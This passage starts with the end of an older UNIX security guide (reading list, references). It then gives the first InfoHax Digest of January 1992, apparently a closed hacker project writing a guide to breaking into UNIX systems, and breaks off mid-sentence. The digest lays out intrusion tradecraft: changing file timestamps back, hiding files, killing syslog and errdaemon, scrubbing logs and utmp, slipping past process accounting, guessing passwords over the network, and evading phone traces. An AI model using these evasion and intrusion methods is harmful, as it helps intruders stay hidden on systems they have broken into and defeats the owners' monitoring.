perusal. Reporting Problems ================== If you find a security violation on your system, contact your local security officer immediately. There should be no delay. They will be able to inform you of any necessary action to take. Conclusions *********** "The cure shouldn't be worse than the disease." -- Chuck Cole It's simple. They know who you are, they know where you live, and they even know how to get in, but only when you leave the door open. Security is becoming an important issue. You need to start recognizing which doors are open and how to close them. It is too important to put it off until tomorrow. You have read about theoretical ways intruders can penetrate your system and how they are attacking your networks, accounts and filesystems. Most importantly, you have learned how to monitor your system and how to fix most of the current holes. There is nothing else I can say -- it is time to start doing. Suggested Reading ***************** UNIX System Administration Handbook Evi Nemeth, Garth Snyder, Scott Seebass Prentice Hall, 1989 -- $32.95 ISBN: 0-13-933441-6 This is perhaps the best general-purpose book on UNIX system administration currently on the market. It covers Berkeley UNIX, SunOS, and System V. The 26 chapters and 17 appendices cover numerous topics, including booting and shutting down the system, the file system, configuring the kernel, adding a disk, the line printer spooling system, Berkeley networking, `sendmail', and `uucp'. Of particular interest are the chapters on running as the super-user, backups, and security. UNIX Operating System Security' F. T. Grammp and R. H. Morris AT&T Bell Laboratories Technical Journal October 1984 This is an excellent discussion of some of the more common security problems in UNIX and how to avoid them, written by two of Bell Labs' most prominent security experts. Password Security: A Case History Robert Morris and Ken Thompson Communications of the ACM November 1979 An excellent discussion on the problem of password security, and some interesting information on how easy it is to crack passwords and why. This document is usually reprinted in most vendors' UNIX documentation. On the Security of UNIX Dennis M. Ritchie May 1975 A discussion on UNIX security from one of the original creators of the system. This document is usually reprinted in most vendors' UNIX documentation. The Cuckoo's Egg Clifford Stoll Doubleday, 1989 -- $19.95 An excellent story of Stoll's experiences tracking down the German crackers who were breaking into his systems and selling the data they found to the KGB. Written at a level that nontechnical users can easily understand. System and Network Administration Sun Microsystems May, 1988 Part of the SunOS documentation, this manual covers most aspects of Sun system administration, including security issues. A must for anyone operating a Sun system, and a pretty good reference for other UNIX systems as well. Security Problems in the TCP/IP Protocol Suite S. M. Bellovin ACM Computer Communications Review April, 1989 An interesting discussion of some of the security problems with the protocols in use on the Internet and elsewhere. Most of these problems are far beyond the capabilities of the average cracker, but it is still important to be aware of them. This article is technical in nature, and assumes familiarity with the protocols. A Weakness in the 4.2 BSD UNIX TCP/IP Software Robert T. Morris AT&T Bell Labs Computer Science Technical Report 117 February, 1985 An interesting article from the author of the Internet worm, which describes a method that allows remote hosts to "spoof" a host into believing they are trusted. Again, this article is technical in nature, and assumes familiarity with the protocols. Computer Viruses and Related Threats: A Management Guide John P. Wack and Lisa J. Carnahan National Institute of Standards and Technology Special Publication 500-166 This document provides a good introduction to viruses, worms, trojan horses, and so on, and explains how they work and how they are used to attack computer systems. Written for the nontechnical user, this is a good starting point for learning about these security problems. This document can be ordered for $2.50 from the U. S. Government Printing Office, document number 003-003-02955-6. The Design and Implementation of the 4.3BSD Unix Operating System Sam Leffler, Kirk McKusick, Mike Karels, and John Quarterman Addison-Wesley, 1989 -- $39.00 ISBN: 0-201-06196-1 This book is the first authoritative description of the design and implementation of the research version of the UNIX System developed at the University of California at Berkeley. It covers the INTERNAL structure of the 4.3BSD system and the concepts, data structures, and algorithms used in implementing the system facilities. The book also includes a chaper on the implementation of TCP/IP -- a networking protocol suite widely implemented throughout the world. Both philosophical and design issues of 4.3BSD are discussed, as well as details of the actual implementation. In most cases, the discussion starts at the system-call level and descends from the interface to the kernel down to the hardware itself. The kernel includes system facilities such as process management, memory management, the I/O system, the filesystem, the socket IPC mechanism, and network-protocol implementations. The Design and Implemenation of the 4.3BSD UNIX Operating System is an in-depth study of a contemporary operating system. This book assumes that the reader understands basic operating-system terminology and has some familiarity with any version of the UNIX System and with the C programming language. Therefore, this book is suitable for operating-system implementors, systems programmers, and UNIX application developers. UNIX System Security Patrick Wood and Stephen Kochan Hayden Book Company, 1985 -- $34.94 ISBN: 0-8104-6267-2 Here is a practical guide to computer security on the UNIX system for the user, administrator, or potential UNIX system buyer. It will teach you everything you need to know to make your system secure and keep it that way. Life With UNIX Don Libes and Sandy Ressler Prentice-Hall, 1989 -- $30.95 This book is quite unusual, not only because of its scope, but because it prints things that have never appeared in print (for one reason or another) - things that most people don't realize or find until years after they have used UNIX. It is essentially a "reading between the lines" of all the other UNIX manuals, books and magazines. Lastly, "Life With UNIX" is chock full of amusing UNIX stories and anecdotes, all designed to provide you with key insights into why UNIX is the way it is. "Life with UNIX" is a must book for UNIX beginners to UNIX gurus. References ********** [Curr90] Curry, David A. `Improving the Security of Your UNIX System'. SRI International. April 1990. [Elli90] Elliot, Lawrence. "Hunt for the Hacker spy" `Reader's Digest', April 1990, pp 185-232. [Eich89] Eichin, Mark W., and Jon A. Rochlis. `With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988'. Massachusetts Institute of Technology. February 1989. [Farr90] Farrow, Rik. "Inside the Internet Worm" `UNIX World', June 1990. [Geer90] Geer, Daniel E. Massachusetts Institute of Technology, Project Athena. Personal Communication, June 1990. [Haye90] Hayes, Frank. "Is Your System Safe?" `UNIX World', June 1990. [Hayn89] Haynes, Jim. University of California, Santa Cruz. Personal Communication, May 1989. [McKu89] McKusick, Marshall K., Sam Leffler, Mike Karels, John Quarterman. `The Design and Implementation of the 4.3BSD Unix Operating System'. Addison-Wesley, 1989. [Mens90] Mensch, Henry. Massachusetts Institute of Technology, Project Athena. Personal Communication, June 1990. [Morr78] Morris, Robert H., and Ken Thompson. "Password Security: A Case History." `Communications of the ACM', 22 (11): 549-597, November 1979. Reprinted in `UNIX System Manager's Manual', 4.3 BSD. University of California, Berkeley. April 1986 [Neme89] Nemeth, Evi, Garth Snyder, Scott Seebass. `UNIX System Administration Handbook'. Prentice-Hall, 1989. [Ritc75] Ritchie, Dennis M. "On the Security of UNIX." May 1975. Reprinted in `UNIX System Manager's Manual', 4.3BSD. University of California, Berkeley. April 1986 [Seel88] Seeley, Donn. `A Tour of the Worm'. Department of Computer Science, University of Utah. December 1988. [Spaf88] Spafford, Eugene H. `The Internet Worm Program: An Analysis.' Technical Report CSD-TR-823. Department of Computer Science, Purdue University. November 1988. [Stol89] Stoll, Clifford. `The Cuckoo's Egg'. New York: Doubleday, 1989. [Wood79] Wood, Patrick, Stephen Kochan. `UNIX System Security'. Hayden Books, 1979. InfoHax Digest, Number 1 Saturday, January 25th 1992 Today's Topics: welcome.hax form.0 sysadmin.comments frm.paper frm.mentor.paper shell.tools phone.trace.evsn BSD.accnt.files trace.fakemail.gd IP.tracing more.IP.tracing rfc931 hacker.trkr.tools hideum.pl ---------------------------------------------------------------------- Date: Fri, 24 Jan 92 18:04:41 -0700 Subject: welcome.hax ***************************************************************************** WELCOME TO PROJECT: INFOHAX ***************************************************************************** Project: INFOHAX is an invitation only project to write the most explicit and complete guide to hacking UNIX systems that has ever been put out. We are starting with a 150k paper as an outline, filling in all the holes/tricks and expanding on it substantially. Project durration is set at 1+ year, with digests comming out once a week, delphi style, perhaps more often if the traffic warrents it. ***IN ORDER TO GET FURTHER DIGESTS YOU NEED TO SUBSCRIBE TO THE LISTSERV.*** ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ we also have a passworded fileserver, Details to follow. send mail to: LISTSERV@STORMKING.COM with SUBSCRIBE INFOHAX User_Name in the msg body if you have not been confirmed, you will be rebuffed. to access the fileserver send mail to: LISTSERV@STORMKING.COM with HELP INDEX INFOHAX /silicon_lollipop in the msg body for confirmation or to get a copy of the 'outline paper' contact tangent@stormking.com so far confirmed people are: Knight Lightning (craig) Nikita Taran King (randy) Calculite (shannon) Tuc Tangent (nate) Sir Frances Drake (steve) Judge Dread (sam) some people we havn't heard back from or havn't got confirmations from: Erik Bloodaxe Dispater you're in if you wanna be, let us know. These people have been recomended by someone and need to be voted on: please vote on a 0-10 scale, 0=NO 5=I_DONT_CARE 10=YES PHz (by dispater) Amoeba+Entity+Flex Rosco (by tuc+tangent) frm cccan (by tangent) Feanor (by dispater) Furryeel (by tangent) THFC ? (by kl - please clarify) Rop (by tangent) if anyone has suggestions for additional people, please let me know. if anyone has strong feelings one way or the other on any of these people, voice um! SO HOW DOES THIS WORK? We're trying to work it like a delphi right now. A delphi is a think tank technique where you present an idea to work on, and send it out to people to work on, solve problems, submit info, ask/answer questions, comment on, etc. in a little less than a week send in what you have so far, and it will all be bundled into digests and sent out again... the list is moderated so some sorting/organising can happen before it goes out again. then people keep working on what they were, but have feedback and fresh material from everyone else... it's a really powerfull technique, so I hope it works for us. I think there will be some rough edges to work out, as to the methods, hopefully this wont take too long. I put out a form (see below: form.0) to help organise info, and keep track of things, please use it! the header and tail should be used for feedback, and discussions, please save bandwidth and nuke the 'DATA:' section, except for BRIEF extracts of the text being commented on. Also PLEASE SEND COMMENTS ON DIFFERENT SECTIONS IN DIFFERENT E-MAIL, that will make sorting sooooo mutch easier, a section name in the 'Subject' field would be nice too... PLEASE NOTE THAT THE LISTSERV WILL NUKE THE FROM LINE OF YOUR EMAIL, if you want people to know who wrote what you just sent in, put your name or handle in the body of the message. If you're submitting original material, please use the whole thing. We will assighn a section # to avoid chaos... Also if you have input on the genneral form of the project, discussions that don't relate to a particular area, etc. please send a form with a header/subject line of DISCUSSION these will be collected together at the begiinning of the digests. The methods/form of the project are totally variable, and I encourage you to suggest changes, we may throw the delphi out all together, it's a starting point, nothing more. If you don't like it say so! If you see something referenced that you don't understand, ask about it. If you see a trick mentioned, but not explained, that you know something about, or have ideas on - even if you don't totally grok it, send in what you know, or ideas about how it might work. There are alot of little sections that need to be worked on. If you have something to say about it do!, even if you're not the person working on it. If you see a section that you'd like to work on, adopt it. basicly we get alot better info if people arn't territorial about a section they are working on, and accept /incorperate input. In other words we're working under total anarchy! be nice to each other, cooperate, and lets not have any flame wars... PROJECT OUTLINE: the main sections of the original paper follow, after that some additions: Theory Devices Network Security Monitoring Other Network Services Net Monitoring Accnt Security Accnt Monitoring File System Security File System Monitoring Setgid Programs Know your System Startup Files Improving Your Security User Utils Pollicies Programming Utils Countermeasures Encryption Biblio additions: How not to get caught - logging, covering tracks, laundering calls, becoming invisable to the system, who's on, housecleaning, hiding setuid, trojans,.. Getting in the Door... Getting Root Setuid Progs/shells Passive Snooping Network Spoofing Patch Level and Version History this list is far from complete, please suggest additions!, oh yeah, a large collection of exploitation type code/scripts at the end. if anyone would like to start filling in the outline/TOC that would be great! This first chapter is on how not to get caught. It will effect all the other areas of the paper and is going to be revisited/added to as we visit every other chapter. It's also a good springboard to get folks started in on other areas. I'm not shure if it's best to hop arround at random doing different sections in parrallel, or sequentially chapter by chapter... feedback? This first digest has the following areas to stimmulate discussion: sec01: sysadmin.comments - on logging sec02: frm.paper - what we're expanding on sec03: frm.mentor.paper - prev work to build on sec04: shell.tools - proposed tools by calculite, some comments by tangent sec05: phone.trace.evsn - info in evading phone traces sec06: BSD.accnt.files - summary of w/ notes on exploiting sec07: trace.fakemail.gd - slightly dated, lotta good tricks to tease out sec08: IP.tracing - discussions on hacker trackers sec09: more.IP.tracing - more of above sec10: rfc931 - bad news... need to find ways arround this. sec11: hacker.trkr.tools - how we get caught... sec12: hideum.pl - pearl script for nuking /utmp entries Some areas that need discussion are weather we should include available material, or just ref it. examples include mentors paper, rfc931, phracks 'hiding out under unix', and another phrack artical on getting lost (title?) My thoughts are to include it if it's short, or at least stick it on the file server... feedback? Obvious areas (in this chapter) that need something written about them are: UUCP logging evading phone traces SysV log summary UNIX as outdial IP spoofing terminal servers and gateways If you feel you have a specialty area, please list it, and start work on that area (with a partner or two if there's overlap), though everyone should comment/contribute to all areas, if possable. This is supposed to be a democracy, so if you want to change what I'm outlining, please submit your ideas and the group can hash it out. Don't get overwelmed!, if we took 2wks on eash major area, this project would take a year, It's probably going to take more than that... remember, we're basicly writing a BOOK! we can officially consider this project underway, expect mailings every wk, perhaps twice a wk when things get going well! Happy Hacking! Tangent ----------------------------------------------------------------------------- ------------------------------ Date: Fri, 24 Jan 92 18:14:48 -0700 Subject: form.0 In an attempt to keep things organised from the start I put together a form for communication. The sole purpose of this is to be able to easily refer to what's been done, keep track of revisions, and cross ref comments and pointers to other sections... Please buffer, and USE this for communication: --8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<---- ============================================================================== Section Name chapter.sec.version 00/00/00 ------------------------------------------------------------------------------ DATA: ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ---8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--- where: Section Name - is the name of the sevtion within the chapter. chapter.sec.version - is the overall ref, version starts at 0, and goes up just like software or OS releases 00/00/00 - is the last revision date DATA: - is material submitted, or commented on, or exploitation type code (for this chapter = code, and sec = chapter), etc. another chapter Biblio: - works the same way. The DATA area is for ORIGINAL material being submitted, or for REVISIONS (one person ties all replies together, and puts together a revision) the idea here is to keep the bandwidth down, and avoid the redundancy of newsgroups... ------------------------------------------------------------------------------ Comments: this is a 'maybe this would be possable' type area, or gen comments on the DATA sec, you can eithor reply by interspercing comments in the data via '>'s or put um here, and nuke the data for replies, as everyone will allready have the data. Q's: how is this done, anyone know about this, etc... type area... Biblio: refs to go in the biblio chapter CrossRef: this ties in to, or could be used in chp#,sec#... Code/shRef: exploitation type code, or shell scripts for the code chapter, ref to, code should go in the Data sec of message. ------------------------------------------------------------------------------ OK, so maybe this isn't perfect, not shure how it will work, but it WILL make life soooo mutch easier a couple of months down the road, and when it goes to final edit... If anyone has comments on how to improve this, or do it better, speak up!, once this is set, we're going to be stuck with it for the whole project. Also, to make things more clear, the DATA area is what will be eventually published. The leading, and trailing headers are to keep track of it, and talk about it(DATA). ------------------------------------------------------------------------------ ------------------------------ Date: Fri, 24 Jan 92 18:20:48 -0700 Subject: sysadmin.comments ============================================================================== Section Name chapter.sec.version 00/00/00 sysadmin.comments 01.01.0 01/21/92 ------------------------------------------------------------------------------ DATA: 17) OK, finally, logs. I read every log that grows without bounds, including daemonlogs that would show unauthorized reboots if not altered. I never found anything odd in ptydaemonlog or vtdaemonlog, or any unreason- able reboots, startups, shutdowns, etc., although I kept reading the logs anyway. Obviously I reviewed sulog, but I never found anything in there either, although possibly the fact that I disabled su early on had something to do with that :). I also read my own .x11startlog, which would show startup times for X windows on the console; that was always clean. The ones that I did find things in were /etc/btmp and /etc/wtmp, expecially wtmp...I'm not sure how familiar you are with the format of these, so just to summarize, they give username, tty, time on and time off. btmp is the bad login attempt log, wtmp the successful login attempt log. I rather imagine that a dialup cracking attempt by an outsider would tend to generate more btmp entries, but on my system the interesting stuff was usually in wtmp. Anyway: In the log of bad logins, btmp, you look for repeated login attempts for a single user, especially if they are clustered around the same time, and especially if there are a large number of login attempts which don't show any typographical errors in the user name. A third to a half of legitimate entries--that is, failed logins by authorized users--in btmp will show typos in entering the username, or sometimes weird character strings that indicate somebody leaned on the keyboard. Some of them will show passwords typed in where usernames should be, which is why btmp is supposed to be readable only by root. I imagine that dialup will show some 'line noise' failures. My users were on hardwired terminals, so that didn't appear. Large numbers of failed entries for a single user in which the user- name is typed correctly mean either that a legitimate user has forgotten his password, a legitimate user is typing spastically this morning, or somebody's trying to crack that account. I'd ask the user if he was doing something that would have led to all the bad attempts; sometimes the answer was yes, in which case I could get him a new password or forget it. If it's no, I know I have a problem. The other pattern that sometimes occurs is 'sweeps' across large numbers of usernames, usually typed correctly, clustered at the same time and originating from the same terminal. This is almost always cracking, if it shows up in btmp. What is never anything but cracking is the appearance of login attempts for reasonable guesses at usernames that don't happen to exist on your system. The 'sweep' pattern, in our company, could be legitimate if it showed up in wtmp, the log of successful logins, because certain trusted department heads were authorized to login as their subordinates and occasionally did so for administrative purposes. In this case, the sweep usually originates at a single terminal, generally the department head's, and covers that department only. I looked for a string of fairly obvious things in wtmp: simultaneous logins by the same user, users logged in at unusual times or from unusual ports, off-console root logins, etc. This actually took the most time, and is the one I did the most asking about--hey, Rita, did you log in in Ben's office yesterday? and so forth. The larger the system and # of users, obviously, the harder this is to do. I could have started correlating wtmp and btmp entries, but never got the time to write the script. We also didn't have auditing enabled because I didn't get a chance to put it up, because I was under pressure to get the system operational. That was probably a mistake, although it wouldn't really have changed the final outcome of anything. I did pin down a major security breach with this procedure, because I found one more off-console root login than I knew was legitimate, which neither I nor the assistant administrators could account for. I found the damage not long after, although it took me, honestly, about two weeks to figure out why that particular item had been changed (It's not a secret, but definitely belongs in another letter, so I'll save it). This approach obviously has a flaw (aside from not having auditing) in that I obviously wouldn't see a breach that involved someone else logging in at a user's regular terminal at a reasonable time for that user to be there, which I strongly suspect happened more than once. Auditing would have caught anomalous system activity in that case if file permissions had been changed. It couldn't have caught the falsifying of information within the scope of the user's normal routine--if someone logged in as the bookkeeper in the right place at the right time calls up the usual programs and does everything except enter the numbers straight, there is no way to pick that up with auditing. Since I will have auditing up when I go up on the net, the report we ought to be able to compile on this subject after the experiments ought to be much more complete, and I'm looking forward to it as it should be fascinating. Thanks :) ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 18:25:13 -0700 Subject: frm.paper ============================================================================== Section Name chapter.sec.version 00/00/00 frm.paper 01.02.0 01/21/92 ------------------------------------------------------------------------------ DATA: In general the intruder can cover his own tracks. Detecting Intrusion therefor depends on on the intruder neglecting to do so, plus the installation of log keeping. The existence of log keeping should be somewhat secret to increase the probability that the intruder will unwittingly reveal his acts and methods. The best logkeeping consists of writing to a hardcopy device so that the intruder cannot erase the log. Sometimes a single slip-up by an intruder will reveal a huge case of previously unsuspected penetration. SYSLOG ------ The syslog facility is a mechanism that enables any command to log error messages and informational messages to the system console, as well as to a log file. Typically error messages are logged in the file /usr/spool/log/syslog along with the date, time, and name of the program sending the message to the program. Example: DEC 24 12:10:06 WS1 NNTPXMIT: greet=520 SAMT 19 NNTP server can't talk to you DEC 24 14:53:37 WS1 LOGIN: root login ttyp3 from WS2.podunk.edu DEC 25 08:02:03 WS1 LOGIN: root login ttyp4 from wizard.hack.com DEC 25 08:28:52 WS1 SU: joueuser on /dev/ttyp3 DEC 25 10:23:41 WS1 VMUNIX: /: file system full DEC 25 11:30:42 WS1 LOGIN: repeated login failures on ttyp3 from sys1.podunk.edu, daemon DEC 25 11:45:08 WS1 NNTPD: rnews: inews: comp.foo: no valid newsgroup found Of particular interest are the messages from the login and su programs. Wheneverr someone logs in as root login logs this informtion. In general logging in as root directly, as opposed to using the su program is better as it is harder to tell which person is actually using the accnt. Login also logs any case of someone repeatedly trying to log into an account and failing, 3 consecutive times. These messages can be used to check for users sharring accounts, as well as hacking attempts. SHOWMOUNT --------- Can be used on a NFS file server to show the names of all hosts that currently have something mounted from that server. w/ no options just shows a list of all the hosts. w/ '-A' shows all the hosts and directory combinations ie: ws1.cs.podunk.edu:/usr/local bart.podunk.edu:/var/spool/mail maggie.podunk.edu:/usr/local w/ '-D' shows a list of all directories mounted by some host. Showmount's output is checked for 2 things, first, only machines local to the systems organization should appear there. Second, only "normal" directories should be mounted - unusual directories being mounted may indicate a hacking attempt. FTP LOGGING ----------- Some versions of ftp allow administrators to turn on and off logging information. The standard BSD4.2 does not, but there are publiclly available patches to the code to enable this feature. Example: @ws5.cs.podunk.edu (bsimpson) wed may 30 19:32:11 1990 get /pub/gnu/gcc-11.37.tar.Z @131.170.8.11 (intruder) wed may 30 22:13:01 1990 get /etc/passwd put /pub/annoying-msg jueuser@podunk.edu wed june 6 08:19:16 1990 get /pub/sun-source/faces-1.3.tar.Z get /pub/gnuemacs-18.55.tar.Z In the case where lines begin w/ an '@', an anonymous ftp was done. The password given by the user (they ask for username, sometimes site name / address - will usually take anything) is in parenthesis after the hostname. In the case where lines start w/ a username, a normal user has logged on to transfer files. Whenever you transfer files with ftp, the manager will know what login was used, what files were transfered, and to what site. (use a login, not your own , rename the files, and site hop...) ACCOUNT MONITORING: ------------------- Accounts are monitored to check for: A) users logged in when they shouldn't be (i.e. late at night, when the're on vacation, etc) B) users executing commands they wouldn't normally be expected to use. LAST ---- Last looks back in the wtmp file which records all logins and logouts for information about a user, a teletype or any group of users and teletypes. Arguments specify names of users or teletypes of interest. Names of teletypes may be given fully or abbreviated. For example, LAST 0 is the same as LAST TTY0. If multiple arguments are given, the information which applies to any of the arguments is printed. For example "last root console" would list all of root's sessions, as well as all sessions on the console terminal. Last displays the sessions of of the specified users and teletypes, most recent first, indicating the times at which the session began, the duration of the session, and the teletype the session took place on. If the session is still continuing or was cut short by a reboot. With no arguments, last displays a list of all logins and logouts, in reverse order. Example: $ last -4 joeuser joeuser ttyp1 ws1.cs.podunk.e wed jun 6 10:04 still logged in joeuser ttyp3 bart.poduke.edu tue jun 5 15:01 - 15:01 (00:00) joeuser ttyp0 maggie.podunk.e tue jun 5 10:05 - 19:44 (09:38) joeuser console ws2.cs.poduke.e tue jun 5 09:49 - 10:05 (00:16) LASTCOMM -------- Lastcomm gives information about previously executed commands. Without any arguments it gives information about all the commands recorded durring the the current accounting files lifetime. If called with no arguments, it displays information about all the commands recorded durring the current accounting files lifetime. If called with arguments it only displays accounting records with a matching command name, user name, or terminal name. Example: $ lastcomm who simsonb ttyp0 0 secs wed jun 6 10:03 mesg joeuser ttyp1 0 secs wed jun 6 10:03 biff joeuser ttyp1 0 secs wed jul 6 10:03 csh F joeuser ttyp1 0 secs wed jul 6 10:03 killercracker intruder ttyp4 7240 secs wed jul 6 08:01 . . . For each process entry, lastcom displays the following items of information: The command name under which the proccess was called One or more flaggs indicating special information about the process, the flags have the following meanings: F The process performed a fork, but not an exec S The process ran as a set-user-id program D The process dumped memory X The process was killed by some signal The name of the user who ran the process The terminal which the user was logged onto at the time (if applicable) The ammount of CPU time used by the process (in seconds) The date and time the process exited ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 18:34:31 -0700 Subject: frm.mentor.paper ============================================================================== Section Name chapter.sec.version 00/00/00 frm.mentor.paper 01.03.0 01/21/92 ------------------------------------------------------------------------------ DATA: ls -l will tell you the last time a file was modified, make a note of this when you tamper w/ a file, and set it back w/ the touch command when you are finnished, syntax is: touch hhmmMMdd [file] Where hh is hour, mm is minute, MM, is month, and dd is the day, [file] is obvious... What usually gives away hackers is the files they create on systems. If you must make files and directories on systems, make use of the hidden file feature ('.filename'). Also try to hide them in directories that are rarely ls'd, such as /usr/spool/lp, /usr/lib/uucp, etc. If you replace a users file with a modified copy, this copy will be owned by your account and group instead of the account which owned the original. You can change the group back w/ the chgrp command. syntax is: chgrp [groupname] [file] and change the owner back w/ the chown command: chown [user] [file] If you do something wrong, assume a note of it was recorded somewhere on the system. Leave the system and it's files exactly as you found them. If you think it would go unknowticed, and your expection to ring alot of bells you can turn off system logging (if you have root). BSD ERROR LOGGING ----------------- Type "cat /etc/syslog.pid", this file contains the process number of the syslog (error logging) program. Kill this process, and you have stopped error logging. Remember to start it back up when your through. If you want to see where the error logging messages are sent, type: cat /etc/syslog.config Entries are in the form: #file Such as: 5/etc/errorlogfile The number is the priority of the error, and the file is the file that errors of that level are sent to. If you see an entry with /dev/console as it's log file, watch out! Errors of that priority are sent to the system console. Sometimes a list of usernames will follow an entry for errorlogging. This means that these users will be notified of any errors of that priority or higher. There are 9 levels of error priority's, 1 is lowest, 5 is the lever of errors gennerally caused by hackers - security violations, bad login and su attemps, attempts to access files w/ out proper permissions..., level 9 is a system crash. SysV ERROR LOGGING ------------------ The SysV error logging prog is errdaemon, to find it's pid type "ps -uroot" among roots processes you will find /etc/errdaemon. If you kill it there will be no more logging till you start it again. By default it writes errors to the /usr/admin/errorfile. To get a report of errors type: errpt [-a] /usr/adm/errfile ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 18:44:10 -0700 Subject: shell.tools ============================================================================== Section Name chapter.sec.version 00/00/00 shell.tools 01.04.1 01/22/92 ------------------------------------------------------------------------------ DATA: I'll try to write a summary right now. It won't be in the proper format, but it's not a final submission, either... BEGIN SHELL SCRIPT SUMMARY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Something that could come in handy for hacking UNIX systems would be a shell script that would automate the following: 1) disable logging 2) edit standard logs to remove lines containing the account name that's being used (when logs don't exist, inform the user) 3) remove information from the utmp file for the account name that's being used in order to avoid detection (write privs to utmp requires root privs on anything but a sun) 4) reenable logging when the user is done (unless you are alone, it might not be a great idea to disable/reenable logging, might look abit fishy ... how about just nuking log entries for your username/uid/pid) and possibly do the following: 1) alert the user when users log on and off (how about just people w/ privs, or owner of accnt) 2) attempt to exploit known bugs and edit appropriate logs This script could be uploaded after the user has obtained access to a system and be executed with possible options to disable functions when they're not desired. (other things: set up a working subdir store + restore .history (if present) 1 key macro to nuke subdir, logout, and suicide process ) END SHELL SCRIPT SUMMARY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- BEGIN HACK PROGRAM SUMMARY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Another useful tool would be a program that would connect to port 25 of a target system and attempt passwords from a dictionary on standard usernames (guest, anonymous, ingres, new, apply, etc..) and usernames obtained manually by the user. This would operate much like an /etc/passwd cracker, but would actually try acct/passwd combinations over the net. NOTE: This should be used only as a last effort from a safe acct. It will, no doubt, affect logs on systems that log failed attempts. Possible sources for code: generic net interface code, MUD 'bot code, telnet source. A friend of mine wrote a telnet scanner that brought net connections to a crawl, he just did it sequentially, w/ no delay... a very irate sysadmin dragged him into his office and very nicely told him to never ever do that again... a little break between calls is important! END SUMMARY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Shannon Robert Madsen / Calculite | mtymp10@ux.acs.umn.edu "To err is human; to moo, bovine." | "Religion is the opiate of the masses." -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 18:52:14 -0700 Subject: phone.trace.evsn ============================================================================== Section Name chapter.sec.version 00/00/00 phone.trace.evsn 01.05.0 01/24/92 ------------------------------------------------------------------------------ DATA: Don't have mutch for this area yet. some stratagies are: use a goldbox use a diverter radio or cordless phone 1/2 in a bbox, 1/2 a safe distance away. use call forwarding to forward to a phone in a different babybell's area, then send it through MCI (refuses to provide call records in court) or to thriftytell(flat rate service w/ no call detail records) PLEASE ADD TO THIS! ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 18:57:04 -0700 Subject: BSD.accnt.files ============================================================================== Section Name chapter.sec.version 00/00/00 BSD.acct.files 01.06.1 01/18/92 ------------------------------------------------------------------------------ DATA: SUMMARY OF BSD ACCOUNTING FILES: -------------------------------- data kept filename type owner group mode note ---------------------------------------------------------------------------- CPU,memory,i/o /usr/adm/acct binary root system 644 (1) connect time /usr/adm/wtmp binary root system 644 (2) disk usage the file system n/a root operator 640 (3) printer usage /usr/adm/lpacct text daemon daemon 644 (4) dialout usage /usr/adm/aculog text uucp daemon 644 (5) console msgs /usr/adm/messages ? root system 664 (6) shutdown reasons /usr/adm/shutdownlog ? root system 664 (7) time daemon log /usr/adm/timed.log ? root system 644 (8) uucp transaction /usr/spool/uucp/LOGFILE ? uucp daemon 664 (9) uucp file transfer /usr/spool/uucp/SYSLOG ? uucp daemon 664 (10) network routing /usr/adm/gatedlog ? root system 644 (11) news connection .../news/nntp/logfile ? news news 644 (12) ---------------------------------------------------------------------------- 1)accton(?) turns on accounting, sa(?) used to read, with the '-s' flag will summerize CPU usage by command, and TRUNCATES /usr/adm/acct to ZERO LENGTH! all commands executed once or with unprintable chars show up as '***other' (hmmm..), the system automatically suspends accounting if the file system that contains the accounting data becomes 95% full. If the machine crashes or is rebooted, processes that were running are not recorded in the CPU acct file, you can avoid cpu accounting by having your program sleep indefininatly upon completion as a program that never terminates does not produce any accounting record. (sleep(?) is also a good alternative to at and cron for hiding periodic processes). man acct(5) 4)can also be set via a macro in /etc/printcap 5)records login name, date, time, phone number, and status of all calls made through a dial out modem via the cu(?), tip(?) and uucp family of commands. If you are allowed to talk directly to the modem via a dialer entry in the file /etc/remote then the command 'tip dialer' will circumvent the accounting process. 6)also messages.N where N is from 0 to 6, usually. 9/10)This is for V7 UUCP, HDB (as in SunOS 4.x) is under /usr/spool/uucp/.Log /{uucp,uucio,uux,???}/ 8/11/12)These are not standard, though many systems have them. Also, the filenames are compile time options (or set in config files)... ---------------------------------------------------------------------------- Q's)"owner, group, and mode(octal) of the accounting data files is important and that any program used to reinitialize these files should be shure to chown, chgrp, and chmod appropriatly" - so what happens if these are altered? will a prog that 'unlink argv[0];'s be logged? what about if the utmp entry is zero'd out? other tricks? ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 19:29:37 -0700 Subject: trace.fakemail.gd ============================================================================== Section Name chapter.sec.version 00/00/00 trace.fakemail.guide 01.07.0 01/21/92 ------------------------------------------------------------------------------ DATA: Phil Goetz asked how to trace forged 